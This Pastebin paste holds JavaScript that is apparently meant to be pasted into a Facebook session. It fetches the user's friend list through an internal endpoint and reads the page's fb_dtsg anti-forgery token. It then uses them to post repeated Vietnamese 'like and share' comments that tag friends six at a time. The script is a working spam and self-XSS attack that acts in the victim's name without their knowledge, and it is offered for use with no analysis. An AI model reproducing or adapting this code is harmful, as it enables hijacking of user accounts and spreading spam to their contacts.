Advertisement
Guest User

tiguere fresa

a guest
Oct 27th, 2014
690
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AIMMS 2.35 KB | None | 0 0
  1. function x__0() {
  2.   return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest
  3. }
  4.  
  5. function get_friends() {
  6.   var a = x__0();
  7.   if (a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" + uid + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", !1), a.send(null), 4 == a.readyState) {
  8.     var b = JSON.parse(a.responseText.substring(a.responseText.indexOf("{")));
  9.     return b.payload.entries
  10.   }
  11.   return !1
  12. }
  13.  
  14. function x__0() {
  15.   return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest
  16. }
  17.  
  18. function get_friends() {
  19.   var a = x__0();
  20.   if (a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" + uid + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", !1), a.send(null), 4 == a.readyState) {
  21.     var b = JSON.parse(a.responseText.substring(a.responseText.indexOf("{")));
  22.     return b.payload.entries
  23.   }
  24.   return !1
  25. }
  26.  
  27. function get_uid(a) {
  28.   var b = x__0();
  29.   return b.open("GET", "http://graph.facebook.com/" + a, !1), b.send(), 4 == b.readyState ? uid = JSON.parse(b.responseText)
  30.     .id : !1
  31. }
  32. var patt = /comment_text=(.*?)&/,
  33.   c = 1;
  34. username = /\.com\/(.*?)\//.exec(window.top.location)[1], uid = get_uid(username), a = window.top.location, termina = 0;
  35. var amigos = get_friends();
  36. post_id = /[0-9]{8,}/.exec(a), uids = "comment_text=Mọi người like và share giúp mình mình xin cảm ơn :* ", header = "ft_ent_identifier=" + post_id + "&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + uid + "&__a=1&__req=4u&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&phstamp=" + Math.random();
  37. for (var n = 1; n < amigos.length; n++)
  38.   if (fb_dtsg = document.getElementsByName("fb_dtsg")[0].value, uids += "%40[" + amigos[n].uid + "%3AAAAAAAAAAAA]%20", c++, 7 == c) {
  39.     with(uids += "&", new XMLHttpRequest) open("POST", "/ajax/ufi/add_comment.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(header.replace(patt, uids));
  40.     z = setTimeout("function(){asd=0}", 1e3), clearInterval(z), c = 1, uids = "comment_text=Like và share hộ mình với :*"
  41.   }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement